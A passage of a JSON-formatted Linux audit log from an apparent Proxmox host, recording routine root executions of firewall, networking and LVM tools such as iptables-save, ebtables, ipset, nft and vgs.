exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225970,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966225.970:68979): proctitle=69707365740073617665"} {"@timestamp":1781966365267,"@rawstring":"node=pve type=PATH msg=audit(1781966365.267:69438): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021509,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965021.509:63642): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61061 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225963,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966225.963:68978): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966365267,"@rawstring":"node=pve type=PATH msg=audit(1781966365.267:69437): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965016501,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965016.501:63639): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61057 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225956,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966225.956:68977): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966365263,"@rawstring":"node=pve type=PATH msg=audit(1781966365.263:69436): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965016494,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965016.494:63636): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61056 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225866,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966225.866:68976): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966365263,"@rawstring":"node=pve type=PATH msg=audit(1781966365.263:69436): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015743,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965015.743:63633): arch=c000003e syscall=59 success=yes exit=0 a0=5e19155860e0 a1=5e1915582e60 a2=5e1915564680 a3=5 items=2 ppid=61049 pid=61055 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225866,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966225.866:68975): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966365263,"@rawstring":"node=pve type=PATH msg=audit(1781966365.263:69436): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015740,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965015.740:63632): arch=c000003e syscall=59 success=yes exit=0 a0=5e1912f71ac8 a1=7ffe78b98f20 a2=5e1915564680 a3=5e1912f5524e items=2 ppid=61049 pid=61051 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225866,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966225.866:68974): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966365257,"@rawstring":"node=pve type=PATH msg=audit(1781966365.257:69435): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015739,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965015.739:63631): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe78b98ee0 a1=5e191556b310 a2=5e1915564680 a3=5 items=2 ppid=61049 pid=61050 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225858,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966225.858:68973): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966365257,"@rawstring":"node=pve type=PATH msg=audit(1781966365.257:69435): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015736,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965015.736:63629): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61049 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225858,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966225.858:68972): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966365252,"@rawstring":"node=pve type=PATH msg=audit(1781966365.252:69434): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015729,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965015.729:63628): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61048 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225858,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966225.858:68971): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966365252,"@rawstring":"node=pve type=PATH msg=audit(1781966365.252:69434): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015723,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965015.723:63627): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61047 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966224589,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966224.589:68970): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966365246,"@rawstring":"node=pve type=PATH msg=audit(1781966365.246:69433): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015716,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965015.716:63626): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61046 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966224563,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966224.563:68969): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966365246,"@rawstring":"node=pve type=PATH msg=audit(1781966365.246:69433): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015710,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965015.710:63625): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61045 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966220846,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966220.846:68968): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966365241,"@rawstring":"node=pve type=PATH msg=audit(1781966365.241:69432): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015707,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965015.707:63624): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5656ecadc740 items=0 ppid=1156 pid=61044 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966220846,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966220.846:68967): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966365241,"@rawstring":"node=pve type=PATH msg=audit(1781966365.241:69432): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015705,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965015.705:63623): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13b5a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61044 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966220846,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966220.846:68966): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966365234,"@rawstring":"node=pve type=PATH msg=audit(1781966365.234:69431): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015701,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965015.701:63622): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13d7a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61043 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966220839,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966220.839:68965): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966365234,"@rawstring":"node=pve type=PATH msg=audit(1781966365.234:69431): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015695,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965015.695:63621): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc140360 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61042 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966220839,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966220.839:68964): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966365228,"@rawstring":"node=pve type=PATH msg=audit(1781966365.228:69430): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015690,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965015.690:63620): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc136590 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61041 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966220839,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966220.839:68963): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966365228,"@rawstring":"node=pve type=PATH msg=audit(1781966365.228:69430): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015685,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965015.685:63619): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc140360 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61040 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215942,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.942:68962): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966365222,"@rawstring":"node=pve type=PATH msg=audit(1781966365.222:69429): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015681,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965015.681:63618): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb740eff0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61039 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215939,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.939:68961): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966365222,"@rawstring":"node=pve type=PATH msg=audit(1781966365.222:69429): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015675,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965015.675:63617): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13ff80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61038 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215939,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.939:68960): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966365217,"@rawstring":"node=pve type=PATH msg=audit(1781966365.217:69428): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015669,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965015.669:63616): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61037 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215939,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.939:68959): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966365217,"@rawstring":"node=pve type=PATH msg=audit(1781966365.217:69428): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015665,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965015.665:63615): arch=c000003e syscall=59 success=yes exit=0 a0=5c22ed31e0a0 a1=5c22ed31ae20 a2=5c22ed2fc680 a3=5 items=2 ppid=61030 pid=61036 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215934,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.934:68958): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966365208,"@rawstring":"node=pve type=PATH msg=audit(1781966365.208:69427): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015662,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965015.662:63614): arch=c000003e syscall=59 success=yes exit=0 a0=5c22ccca2ac8 a1=7ffe337ffd90 a2=5c22ed2fc680 a3=5c22ccc8624e items=2 ppid=61030 pid=61032 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215926,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.926:68957): proctitle=\"ip6tables-save\""} {"@timestamp":1781966365208,"@rawstring":"node=pve type=PATH msg=audit(1781966365.208:69427): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015661,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965015.661:63613): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe337ffd50 a1=5c22ed303310 a2=5c22ed2fc680 a3=5 items=2 ppid=61030 pid=61031 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215918,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.918:68956): proctitle=\"iptables-save\""} {"@timestamp":1781966364156,"@rawstring":"node=pve type=PATH msg=audit(1781966364.156:69426): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015657,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965015.657:63611): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61030 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215911,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.911:68955): proctitle=\"ip6tables-save\""} {"@timestamp":1781966364156,"@rawstring":"node=pve type=PATH msg=audit(1781966364.156:69426): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015651,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965015.651:63610): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61029 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215903,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.903:68954): proctitle=\"iptables-save\""} {"@timestamp":1781966364131,"@rawstring":"node=pve type=PATH msg=audit(1781966364.131:69425): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015645,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965015.645:63609): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61028 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215899,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.899:68953): proctitle=\"ebtables-restore\""} {"@timestamp":1781966364131,"@rawstring":"node=pve type=PATH msg=audit(1781966364.131:69425): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015641,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965015.641:63608): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e82d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61027 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215896,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.896:68952): proctitle=\"ebtables-restore\""} {"@timestamp":1781966361324,"@rawstring":"node=pve type=PATH msg=audit(1781966361.324:69424): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015634,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965015.634:63607): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13ff20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61026 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215890,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.890:68951): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966361324,"@rawstring":"node=pve type=PATH msg=audit(1781966361.324:69424): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015628,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965015.628:63606): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb6920370 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61025 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215884,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.884:68950): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966361324,"@rawstring":"node=pve type=PATH msg=audit(1781966361.324:69423): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965014254,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965014.254:63605): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73be780 a1=64f8d5935fd0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61024 auid=4294967295 